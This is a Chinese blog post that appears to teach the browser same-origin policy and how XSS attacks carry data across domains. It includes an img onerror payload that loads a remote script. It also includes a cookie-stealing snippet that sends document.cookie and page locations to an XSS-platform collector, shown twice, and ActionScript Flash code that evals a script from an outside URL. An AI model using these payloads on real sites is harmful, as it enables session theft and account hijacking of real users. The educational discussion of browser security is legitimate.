`
2277259257
  • 浏览: 515112 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

科普:xss攻击浏览器同源策略与跨域访问

 
阅读更多

1、同源策略

 

同源策略是一种约定,它是浏览器最核心也是最基本的安全功能。
浏览器的同源策略,限制了来自不同源的”document”或脚本,对当前“document”读取或设置某些属性
———————————————邪恶的分割线——————————————–
对于影响到“源”的因素有:

 

host(域名或IP地址,如果是IP地址则看做一个根域名)
子域名
端口
协议
——————————————-邪恶的分割线—————————
在浏览器中,对于标签 <script>、<img>、<iframe>、<link> 等标签都可以跨域加载资源,而不受同源策略的限制。这些带有“src”属性的标签每次加载的时候,实际上是由浏览器发起一个get请求

 

不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器是限制了javascript的权限,使其不能够读写返回的内容。对于 XMLHttpRequest来说,它可以访问来自同源对象的内容。但是不能够访问跨域访问资源,所有在ajax开发中尤其需要注意这点在w3c委员会制 定了XMLHttpRequest跨域访问标准。他需要通过目标域返回的HTTP头授权是否允许跨域访问,因为HTTP头对于javascript来说一 般是无法控制的,所以认为这个方案是可行的。

 

对于浏览器来说:除了DOM、Cookie、XMLHttprequest会受到同源策略的限制外,浏览器加载的第三方插件也有各自的同源策略。例如:flash,java applet,silverlight,coogle gears等。

 

2、xss

 

笔者已经将上文重要的地方红色高亮显示出来,浏览器同源在保证安全的同时,对前端开发和攻击者会带来极大的不便,google一下javascript跨域会有很多解决方案,比如:http://rubel.iteye.com/blog/901182

 

对于普通的开发来说,基本上可以解决所有场景下面的跨域问题,都是需要目标和本地的文件都是可控的,这对于xss攻击中来说肯定是不行的。

 

3、xss中如何跨域传送数据

 

前文已经提到到 src标签加载资源时相当于一个get请求。
比如一个经典的img标签的xss:

 

&lt;img src=1 onerror="var b = document.createElement('script');b.src='//X';document.body.appendChild(b);"width="0"  height="0" &gt;

 还有就是xssing 平台中大量使用的代码:

 

 

Default
img =newImage();
img.src="http://www.91ri.org/index.php?do=api&amp;id={projectId}&amp;cookie="+ escape(document.cookie) +"&amp;location="+ escape(window.location.href) +"&amp;top="+ escape(top.location.href) +"&amp;address="+ escape(l);
img.width = 0;
img.height = 0;
img =newImage();
img.src="http://www.91ri.org/index.php?do=api&amp;id={projectId}&amp;cookie="+ escape(document.cookie) +"&amp;location="+ escape(window.location.href) +"&amp;top="+ escape(top.location.href) +"&amp;address="+ escape(l);
img.width = 0;
img.height = 0;

 uc定位(http://www.91ri.org/7331.html)中使用到的代码:

 

 

4、xss跨域攻击

 

跨越子域:xss攻击场景的跨域大多数是跨子域的。
比如当前有a.av.com的xss,需要b.av.com的document并操作,对于大部分网站来说,子域名里面都会有一个proxy页面或者引入一个共同的javascript文件来设置 document.cookie=”.av.com”,以便于业务开发。
也可以用flash 来跨域crossdomain.xml,需要根目录的flash xss domain可控。
比如 http://sb.f4ck.org/crossdomain.xml
比如我之前xss一站用的actionscript代码:

import flash.display.MovieClip;
import flash.external.ExternalInterface; 
 
public class xss extends MovieClip {
 
    public function xss() {
 
      var fun = "var x=document.createElement("SCRIPT");x.src="http://t.cn/xxx"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);";
      flash.external.ExternalInterface.call("eval", fun);
    }
}

 

 

 

当然,如果你的人品跟笔者一样差,以上方案均不可行,就只有悲催的fuzz b.av.com的xss了。

 

跨任意域:需要跨任意域肯定是关注浏览器层面的,比如ie是res协议跨域、特权区域和浏览器拓展等浏览器层面的xss,具体可见余弦的《web 前端黑客技术揭秘》 (232 页)和黑哥的 《去年我跨过的浏览器》(http://vdisk.weibo.com/s/z1id0otCRMVPt)

 

其他:猥琐流之webkit神跨域:http://zone.wooyun.org/content/2365

 

 

分享到:
评论

相关推荐

    XSS防护:XSS攻击原理与类型.docx

    XSS防护:XSS攻击原理与类型.docx

    XSS防护:XSS攻击案例分析.docx

    XSS防护:XSS攻击案例分析.docx

    HTML实体编码:XSS防御的关键策略

    跨站脚本攻击(XSS)是一种常见的网络安全漏洞,攻击者利用它将恶意脚本注入到其他用户会浏览的页面中。这种攻击可能导致用户信息被盗取、会话劫持或恶意软件的分发。HTML实体编码是防御XSS攻击的一种重要手段,它...

    Web应用安全:XSS安全隐患产生原因.pptx

    4. 强制广告显示与流量操纵:XSS攻击可能导致用户浏览器强制弹出广告页面,同时也能用于刷流量,影响网站统计和分析的真实性。 5. 网页篡改:恶意脚本可篡改网页内容,删除或修改文章,破坏网站的正常运行。 6. ...

    信息安全技术基础:XSS攻击概述.pptx

    这是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到网页中,使其他用户在访问这些网页时,浏览器会执行这些脚本,从而对用户的隐私信息造成威胁。XSS攻击的危险在于它能够盗取用户的cookie、会话信息,甚至模拟...

    XSS跨域攻击讲义

    ### XSS跨域攻击知识点详解 #### 一、XSS攻击概览 - **定义与起源**:跨站脚本(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,最早出现于1996年。XSS攻击利用的是网站对用户输入数据过滤不严...

    Collabtive系统浏览器同源策略探索实验-内含源码以及设计说明书(可以自己运行复现).zip

    **同源策略(Same-Origin Policy)**是Web浏览器中一项重要的安全机制,它限制了不同源的网页之间共享数据的能力,防止恶意网站通过脚本访问并操控其他网站的敏感信息。Collabtive系统是一个开源的项目管理工具,而...

    使用Filter针对Xss攻击,sql注入,服务器访问白名单,以及csrf进行安全校验

    主要使用Filter针对Xss攻击,sql注入,服务器访问白名单,以及csrf进行安全校验 1,主要实现的是三大块功能:Xss攻击,sql注入,服务器白名单,以及csrf 2,此Filter为真实项目部署,在XssHttpServletRequestWrapper...

    Web应用安全:XSS盗取cookiepayload(实验习题).docx

    XSS 攻击是一种常见的 Web 应用攻击方式,指的是攻击者在网站上注入恶意脚本,使用户在访问网站时,恶意脚本被运行,从而获取用户的敏感信息,如 Cookie。 XSS 攻击类型 XSS 攻击可以分为三种类型: 1. 反射型 ...

    XSS攻击实例1

    XSS(Cross-site scripting)攻击是一种常见的网络安全威胁,它利用了网站对用户输入的不适当处理,使得攻击者能够在网页中注入恶意脚本,从而影响其他用户。在本实例"XSS攻击实例1"中,我们将探讨这种攻击的原理、...

    关于pdf文件xss攻击问题,配置xssFilter方法

    XSS攻击是通过在网页中注入可执行的脚本,当用户访问被注入脚本的页面时,这些脚本会在用户的浏览器环境中运行,从而可能执行攻击者设计的各种操作。PDF文件中的XSS攻击则是在PDF阅读器解析文档时触发恶意脚本,而...

    Web应用安全:XSS篡改页面(实验).docx

    XSS攻击是指攻击者在Web应用程序中注入恶意脚本,然后当用户访问该Web应用程序时,恶意脚本就会被执行,从而导致用户的浏览器被控制。 在本实验中,我们将使用beef-xss工具来模拟XSS攻击。beef-xss是一个开源的XSS...

    预防XSS攻击和SQL注入XssFilter

    攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是...

    论文研究-基于浏览器的Reflected XSS防御系统:XSS-Defender .pdf

    基于浏览器的Reflected XSS防御系统:XSS-Defender,万本钰,辛阳,随着Web 2.0时代的到来,XSS(跨站脚本)攻击产生的安全威胁日益显著。XSS攻击具有双重特点:容易被忽略且安全危害严重。而现有的XSS��

    Web应用安全:XSS通过JavaScript攻击(实验).docx

    Web应用安全领域中,XSS(跨站脚本攻击)是一种常见的网络安全威胁,它利用了网站对用户输入的不适当处理,使得攻击者能够注入恶意脚本,进而控制或窃取用户的数据。在这个实验中,我们将重点探讨XSS通过JavaScript...

    Web应用安全:XSS盗取cookiepayload.pptx

    Web应用安全领域中,XSS(跨站脚本攻击)是一种常见的威胁,它涉及到攻击者通过注入恶意脚本到网页中,从而操控用户浏览器的行为。本文主要探讨的是XSS攻击中的一种常见手法——盗取Cookie,以及其工作原理、实例...

    XSS跨站脚本攻击剖析与防御

    XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本。这种攻击通常发生在Web应用中,当网站未能正确地过滤或转义用户输入的数据,使得这些数据可以作为可...

    防止XSS攻击解决办法

    XSS(Cross-site scripting)攻击是一种常见的网络安全威胁,它利用了网站对用户输入的不当处理,使得攻击者能够注入恶意脚本,进而控制或者窃取用户的浏览器数据。防止XSS攻击是保护Web应用安全的重要一环,对于...

    【转载】浏览器的工作原理:新式网络浏览器幕后揭秘

    最后,浏览器还涉及到安全性问题,例如同源策略限制了不同源之间的交互,防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等。同时,现代浏览器还支持Web Components、Service Worker、WebAssembly等新特性,进一步...

    XSS跨域攻击在web项目中的防范,基于antisamy技术

    - 同源策略:限制浏览器只能访问同一源(协议+域名+端口)的资源,防止跨域请求。 - Content Security Policy (CSP):设置HTTP响应头,限制页面可加载的资源,阻止非预期的脚本执行。 3. antisamy工作原理: - ...

Global site tag (gtag.js) - Google Analytics